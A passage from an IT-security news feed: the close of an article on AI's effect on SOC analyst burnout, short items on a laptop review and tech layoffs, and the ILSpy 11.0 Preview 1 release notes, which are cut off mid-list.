<p class="wp-block-paragraph">For SOCs, all three categories are beginning to overlap.</p>



<p class="wp-block-paragraph">As AI makes it easier to create reports, assessments, vulnerability submissions, and other operational artifacts, humans remain responsible for determining whether that information is accurate and useful.</p>



<p class="wp-block-paragraph">“It becomes much easier to generate content,” Montenegro says, “but if you’re going to review that content as a human, the onus on you now is that much larger.”</p>



<p class="wp-block-paragraph">The result is a new form of cognitive overload. Security professionals may spend increasing amounts of time evaluating machine-generated information instead of conducting higher-value security work.</p>



<p class="wp-block-paragraph">Organizations can increasingly use AI to summarize reports, evaluate alerts, and assist with investigations, but humans remain responsible for validating the results.</p>



<p class="wp-block-paragraph">“We’re not at the stage yet where people are comfortable” handing off critical decisions entirely to AI, he says.</p>



<p class="wp-block-paragraph">That leaves defenders caught between two competing realities: AI is creating more information to process, but AI is also becoming one of the few viable tools for managing that growing workload.</p>



<p class="wp-block-paragraph">For Montenegro, the principle should be to automate tasks, not roles. AI can absorb repetitive investigative steps, but organizations should be cautious about removing humans from the process entirely.</p>



<p class="wp-block-paragraph">The risk, he says, is that if organizations hide too much complexity behind automated outputs, analysts may lose opportunities to develop the domain knowledge needed to advance.</p>



<p class="wp-block-paragraph">“How is that professional who is reacting to those alerts growing as a professional?” he says.</p>



<h2 class="wp-block-heading">The gap between mature and struggling SOCs may widen</h2>



<p class="wp-block-paragraph">Not every organization will experience the impact of AI in the same way.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/johnlhubbard/">John Hubbard</a>, senior cybersecurity consultant and SANS instructor, believes the industry’s response will largely depend on how well organizations have prepared for operational stress before AI arrives at scale.</p>



<p class="wp-block-paragraph">“I would roughly break security operations teams into two camps,” Hubbard tells CSO. “There are the ones that are definitely struggling, are already overwhelmed. And then some are doing really well.”</p>



<p class="wp-block-paragraph">The struggling organizations tend to be understaffed, underfunded, undertrained, or dependent on ad hoc processes. Every incident feels different, forcing teams to improvise under pressure.</p>



<p class="wp-block-paragraph">“Getting hit with something like this can certainly be an accelerant for burnout if they weren’t already experiencing it,” Hubbard says.</p>



<p class="wp-block-paragraph">By contrast, mature security teams have already invested in processes, training, exercises, and automation. “The teams that are doing a really solid job now are probably not super overwhelmed because they’ve developed the processes and procedures to be ready for this kind of thing,” Hubbard says.</p>



<p class="wp-block-paragraph">He compares successful SOCs to fire departments. Firefighters cannot predict exactly where the next emergency will occur, but they know how to respond because they have rehearsed those responses repeatedly.</p>



<p class="wp-block-paragraph">“The teams that kind of can react like a fire department are the ones that are getting it right,” he says.</p>



<p class="wp-block-paragraph">Those organizations <a href="https://www.csoonline.com/article/570871/tabletop-exercises-explained-definition-examples-and-objectives.html">conduct tabletop exercises</a>, adversary emulation exercises, <a href="https://www.csoonline.com/article/571891/red-vs-blue-vs-purple-teams-how-to-run-an-effective-exercise.html">red-team assessments</a>, and <a href="https://www.csoonline.com/article/3829684/how-to-create-an-effective-incident-response-plan.html">incident response</a> drills. As a result, they can absorb additional workload without descending into panic.</p>



<h2 class="wp-block-heading">Burnout remains the industry’s most difficult problem</h2>



<p class="wp-block-paragraph">Despite widespread concern about AI-enabled attacks, none of the experts view AI solely as a threat. Several argue that AI will become essential for helping defenders cope with the challenges it creates.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/jose-marie-griffiths-9106b7b/">Jose-Marie Griffiths</a>, president emerita and former CIO of Dakota State University, believes AI can help security teams sift through overwhelming volumes of information and identify the signals that matter most.</p>



<p class="wp-block-paragraph">“People who work in SOCs are now seeing overwhelming volumes of data, and they’re getting fatigued,” Griffiths tells CSO.</p>



<p class="wp-block-paragraph">AI can help automate portions of analysis, validate alerts, and improve visibility into complex environments. But Griffiths cautions that some AI-assisted vulnerability discovery tools are also producing large numbers of false positives.</p>



<p class="wp-block-paragraph">That matters because false positives do not eliminate work. They create it. As organizations confront escalating volumes of findings, distinguishing genuine risk from erroneous results may become as important as discovering vulnerabilities in the first place.</p>



<p class="wp-block-paragraph">The experts agree that technology alone will not determine outcomes. People will.</p>



<p class="wp-block-paragraph">Crowley argues that cybersecurity professionals must recognize that uncertainty is intrinsic to the profession. “We are the group that deals with uncertainty,” he says. “That’s really and truly what cybersecurity is.”</p>



<p class="wp-block-paragraph">That reality places responsibility on both individuals and organizations. Analysts need mechanisms for managing stress. Teams need to recognize when colleagues are approaching their limits. Managers need to <a href="https://www.csoonline.com/article/3631614/cybersecurity-is-tough-4-steps-leaders-can-take-now-to-reduce-team-burnout.html">establish healthy escalation practices and realistic expectations</a>.</p>



<p class="wp-block-paragraph">Hubbard rejects the notion that burnout is inevitable.</p>



<p class="wp-block-paragraph">“It is not a foregone conclusion that security operations jobs have to be a painful grind that everyone hates,” he says.</p>



<p class="wp-block-paragraph">He has seen organizations where employees remain engaged for years because leaders actively manage workload, create supportive cultures, and encourage open communication.</p>



<p class="wp-block-paragraph">That includes making it safe for analysts to admit when they have reached their limits. “If people are unwilling to say, ‘I’m maxed out right now, and I’m going crazy,’ that’s going to be the thing that breaks a lot of teams,” Hubbard says.</p>



<p class="wp-block-paragraph">Pay alone may not solve the problem. Crowley pointed to SANS/SOC <a href="https://www.sans.org/white-papers/2026-sans-soc-survey-insights-decade-evolution-cyber-defense">survey findings</a> showing that compensation ranked fourth among retention factors, behind meaningful work, training, and professional development.</p>



<h2 class="wp-block-heading">The future SOC may look very different</h2>



<p class="wp-block-paragraph">Griffiths believes organizations will need to respond not only with better technology but with structural changes. Traditional tiered SOC models may need to evolve into more collaborative teams with diverse expertise working together in real-time.</p>



<p class="wp-block-paragraph">“I think we’re going to have to eliminate the hierarchies a little bit and have teams of people with different expertise working together,” she says.</p>



<p class="wp-block-paragraph">She also argues that organizations should invest in human expertise rather than simply increasing AI consumption. “Buy engineers, not tokens,” she says.</p>



<p class="wp-block-paragraph">Professional networks and peer support will matter as much as any tool, Griffiths says, because defenders need trusted communities where they can compare notes, share practices, and avoid facing sustained pressure in isolation.</p>



<p class="wp-block-paragraph">If there is a consensus emerging among experts, it is that AI is exposing weaknesses that already existed.</p>



<p class="wp-block-paragraph">The staffing shortages, alert fatigue, burnout, and process failures affecting SOCs did not begin with generative AI. AI is simply amplifying them.</p>



<p class="wp-block-paragraph">At the same time, AI is providing new tools that may help organizations manage those very challenges.</p>



<p class="wp-block-paragraph">The future SOC may spend less time manually triaging alerts and more time validating automated findings, conducting threat hunting, and making strategic decisions. Human expertise may increasingly be paired with AI systems that act as operational partners.</p>



<p class="wp-block-paragraph">The transition will not be painless. Some teams will struggle. Some practitioners may leave the field. Others will adapt and thrive.</p>



<p class="wp-block-paragraph">“In a way,” Griffiths says, “we’re turning the whole SOC inside out.”</p>



<p class="wp-block-paragraph">Montenegro sees the transition as a cybersecurity version of the Red Queen effect: defenders and attackers must keep running simply to stay in place.</p>



<p class="wp-block-paragraph">Borrowing from science-fiction author William Gibson, Montenegro offered perhaps the simplest description of the industry’s current moment: “The future is already here. It’s just unevenly distributed.”</p>



<p class="wp-block-paragraph">For security leaders, that future is arriving in the form of AI-generated vulnerabilities, AI-assisted investigations, and AI-enabled adversaries. The question is no longer whether security operations centers will change. It is whether organizations can adapt quickly enough to keep pace.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Acer Swift Go 16 AI  review: A solid and versatile workhorse laptop – with faults]]></title>
<description><![CDATA[A processor that doesn't live up to AMD's billing, and a screen that lacks brightness and resolution]]></description>
<link>https://tsecurity.de/de/3680464/it-security-nachrichten/acer-swift-go-16-ai-review-a-solid-and-versatile-workhorse-laptop-with-faults/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680464/it-security-nachrichten/acer-swift-go-16-ai-review-a-solid-and-versatile-workhorse-laptop-with-faults/</guid>
<pubDate>Mon, 20 Jul 2026 09:08:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A processor that doesn't live up to AMD's billing, and a screen that lacks brightness and resolution]]></content:encoded>
</item>
<item>
<title><![CDATA[As AI Transforms Silicon Valley, Some Tech Workers Face Evaporating Financial Security]]></title>
<description><![CDATA[The Washington Post describes a mid-tier executive at Meta as one of Silicon Valley's "winners" whose financial security suddenly "evaporated" as their workforce "pushed headlong into AI and heavy job cuts," creating a transformed job market. "Her ex-husband, a designer at Meta who was laid off i...]]></description>
<link>https://tsecurity.de/de/3680218/it-security-nachrichten/as-ai-transforms-silicon-valley-some-tech-workers-face-evaporating-financial-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680218/it-security-nachrichten/as-ai-transforms-silicon-valley-some-tech-workers-face-evaporating-financial-security/</guid>
<pubDate>Mon, 20 Jul 2026 05:54:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Washington Post describes a mid-tier executive at Meta as one of Silicon Valley's "winners" whose financial security suddenly "evaporated" as their workforce "pushed headlong into AI and heavy job cuts," creating a transformed job market. "Her ex-husband, a designer at Meta who was laid off in 2020, eventually gave up looking for jobs in his profession. He now lifts boxes at a warehouse."


Layoffs.fyi, which tracks announced job cuts, counts more than 800,000 tech workers laid off since 2022, including large staff reductions in recent months at Meta, Microsoft, Oracle and Amazon... "There's this whole tranche of people who've been quite used to being among the most upwardly mobile in society who are all of a sudden saying, 'Now I'm the guy on the streetâs'" said Oliver Raskin, who founded Silicon Valley market research consultancy Signalcraft Insights and has surveyed attitudes in the tech labor force... "The rise of AI, especially, is bound to change the workplace radically," [said Georgetown University historian Joseph McCartin]. "But the way it's going to happen is similar to how technology transformed the auto industry." Ruth Milkman, a labor sociologist at the City University of New York, said that technology workers are getting a dose of what workers in other industries have long complained about: jobs that feel unsteady or rob them of autonomy. "Low-wage workers are used to it," she said... 

Many layoffs at technology companies are probably a hangover effect from over-hiring in prior years, experts say. And they don't account for a spotty recent increase in hiring in the information industry, which includes employment of software developers and jobs in media and entertainment. Digging deeper, though, some economists say there are signs that Silicon Valley and other technology-reliant parts of the American economy have reached a turning point where they are growing without needing as many people. The notion was encapsulated in a recent talk that ricocheted through group chats across the tech industry: In it, a partner at the start-up incubator Y Combinator heralded a new generation of AI-first companies that will only need human labor for "novel situations," "ethical considerations" and "high-stakes moments." 

Gad Levanon, chief economist at the labor research nonprofit Burning Glass Institute, said that the number of hours worked in the information sector has dipped since 2022, while the sector's economic output has increased by about 8 percent a year — more than three times the overall growth rate of the U.S. economy. He says the data reveals a sea change in industries, including technology and finance, toward doing more work with the same or fewer people — one that is spreading to other professional classes. "That's the new reality for white-collar and tech-exposed work: output up, headcount flat or down," Levanon said... 

Raskin, who has worked in the tech world since the late '90s, said that even though the current moment feels unsettling to many, he's hopeful that it's an early chapter in an evolving story. "It's happened many times before," he said, "that something implodes and all these people lose jobs, but then that talent gets cycled into whatever the next thing is — into a new wave of prosperity." 

In the article tech entrepreneur Anil Dash quips that Silicon Valley techies are "are guinea pigs for what tech dudes want to do to everyone."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=As+AI+Transforms+Silicon+Valley%2C+Some+Tech+Workers+Face+Evaporating+Financial+Security%3A+https%3A%2F%2Fit.slashdot.org%2Fstory%2F26%2F07%2F20%2F0212244%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fit.slashdot.org%2Fstory%2F26%2F07%2F20%2F0212244%2Fas-ai-transforms-silicon-valley-some-tech-workers-face-evaporating-financial-security%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://it.slashdot.org/story/26/07/20/0212244/as-ai-transforms-silicon-valley-some-tech-workers-face-evaporating-financial-security?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[ILSpy 11.0 Preview 1]]></title>
<description><![CDATA[WarningWe DO NOT own the domain ilspy[.]org See #3709
Download ILSpy only from GitHub Releases!

This release is based on .NET 10.0. Please make sure that you have it installed on your machine beforehand.
Note for Mac users: see https://github.com/icsharpcode/ILSpy/wiki/Build-Artifacts#running-th...]]></description>
<link>https://tsecurity.de/de/3679608/it-security-tools/ilspy-110-preview-1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679608/it-security-tools/ilspy-110-preview-1/</guid>
<pubDate>Sun, 19 Jul 2026 16:33:41 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="markdown-alert markdown-alert-warning"><p class="markdown-alert-title"><svg data-component="Octicon" class="octicon octicon-alert mr-2" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg>Warning</p><p><strong>We DO NOT own the domain ilspy[.]org</strong> See <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4211773802" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3709" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3709/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3709">#3709</a><br>
Download ILSpy only from GitHub Releases!</p>
</div>
<p>This release is based on <a href="https://dotnet.microsoft.com/en-us/download/dotnet/10.0" rel="nofollow">.NET 10.0</a>. Please make sure that you have it installed on your machine beforehand.</p>
<p>Note for Mac users: see <a href="https://github.com/icsharpcode/ILSpy/wiki/Build-Artifacts#running-the-macos-artifact">https://github.com/icsharpcode/ILSpy/wiki/Build-Artifacts#running-the-macos-artifact</a> because the ILSpy.app is neither signed nor notarized.</p>
<h1>Avalonia Cross Platform Port</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4630432393" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3755" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3755/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3755">#3755</a>: Avalonia 12 Port and Removal of the WPF UI</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4632742730" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3759" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3759/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3759">#3759</a>: Metadata explorer cleanup, flags-filter fixes, and WPF row-details parity</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4638079113" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3766" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3766/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3766">#3766</a>: Round-trip the legacy WPF SessionSettings shape</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639024005" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3768" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3768/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3768">#3768</a>: Build, test, and package ILSpy on Linux and macOS in CI</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4810623972" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3861" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3861/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3861">#3861</a>: Show text-based resources inline with syntax highlighting</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4852089007" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3875" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3875/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3875">#3875</a>: Avalonia 12.1</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4863426967" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3876" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3876/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3876">#3876</a>: Keep BAML decompilation working when WPF assemblies are missing</li>
</ul>
<h1>New Features</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4789908433" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3847" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3847/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3847">#3847</a>: Unpack !AvaloniaResources into per-file resource tree nodes</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718765259" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3801" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3801/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3801">#3801</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4712188871" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3797" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3797/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3797">#3797</a>: resolve ilspycmd -t type names with fuzzy matching</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4683952279" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3789" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3789/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3789">#3789</a>: Add a bookmarks feature for the decompiled C# view</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4666953116" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3786" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3786/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3786">#3786</a>: Add omnibar breadcrumb and search bar above the decompiled code</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639165641" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3769" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3769/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3769">#3769</a>: Make the override modifier a link to the overridden member</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4634190887" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3762" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3762/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3762">#3762</a>: Add Open from NuGet feed dialog for browsing and opening packages</li>
</ul>
<h1>User Interface</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4808073575" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3857" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3857/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3857">#3857</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="665845843" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/2078" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/2078/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/2078">#2078</a>: Generic local functions not highlighted properly</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4807826529" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3855" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3855/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3855">#3855</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4781346048" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3845" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3845/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3845">#3845</a>: Add option to expand XML documentation comments</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4732796565" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3814" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3814/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3814">#3814</a>: Toggle the fold under the right-click, not at the caret</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4732765182" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3812" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3812/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3812">#3812</a>: Syntax-colour analyzer signatures with bold type names (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="704805286" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/2164" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/2164/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/2164">#2164</a>)</li>
</ul>
<h1>Enhancements</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4832648354" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3872" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3872/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3872">#3872</a>: Decompile await on dynamic expressions</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4759122422" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3837" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3837/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3837">#3837</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4720769518" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3804" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3804/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3804">#3804</a>: decompile foreach over inline array</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4687061981" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3791" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3791/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3791">#3791</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4650340876" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3777" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3777/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3777">#3777</a>: decompile runtime async without a separate C# 15 setting</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761445685" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3843" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3843/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3843">#3843</a>: Bound XamarinCompressedFileLoader against crafted XALZ headers</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761395399" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3842" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3842/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3842">#3842</a>: Bound WebCilFile section access against mapped-view length</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761295787" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3841" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3841/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3841">#3841</a>: Harden BAML reader against crafted-resource crashes</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4735803980" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3816" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3816/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3816">#3816</a>: Allow overriding an assembly's target framework for reference resolution</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761169648" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3840" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3840/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3840">#3840</a>: Bound .rsrc resource-tree parsing against crafted input</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4759588790" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3838" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3838/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3838">#3838</a>: Guard against OOB read when bundle signature is at file start</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4737336554" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3818" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3818/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3818">#3818</a>: Display the IL 'tail.' prefix in C# output</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4723910454" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3808" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3808/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3808">#3808</a>: Migrate the VS extension to an SDK-style VSIX (dotnet build) and retire the VS2017/2019 add-in</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4719933938" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3802" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3802/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3802">#3802</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718225639" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3799" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3799/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3799">#3799</a> and three related stackalloc initializer decompilation defects</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4652771245" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3780" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3780/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3780">#3780</a>: Compute public-key tokens with a managed SHA-1</li>
</ul>
<h1>Documentation</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4820002722" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3868" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3868/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3868">#3868</a>: CONTRIBUTING.md for the AI era</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4820951011" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3870" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3870/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3870">#3870</a>: Add decompiler architecture document</li>
</ul>
<h1>Testing / Infrastructure</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4644097043" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3771" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3771/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3771">#3771</a>: Run the decompiler test suite on Linux</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4671571517" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3788" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3788/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3788">#3788</a>: Use cross-platform separators for the FSharp.Core.dll test path</li>
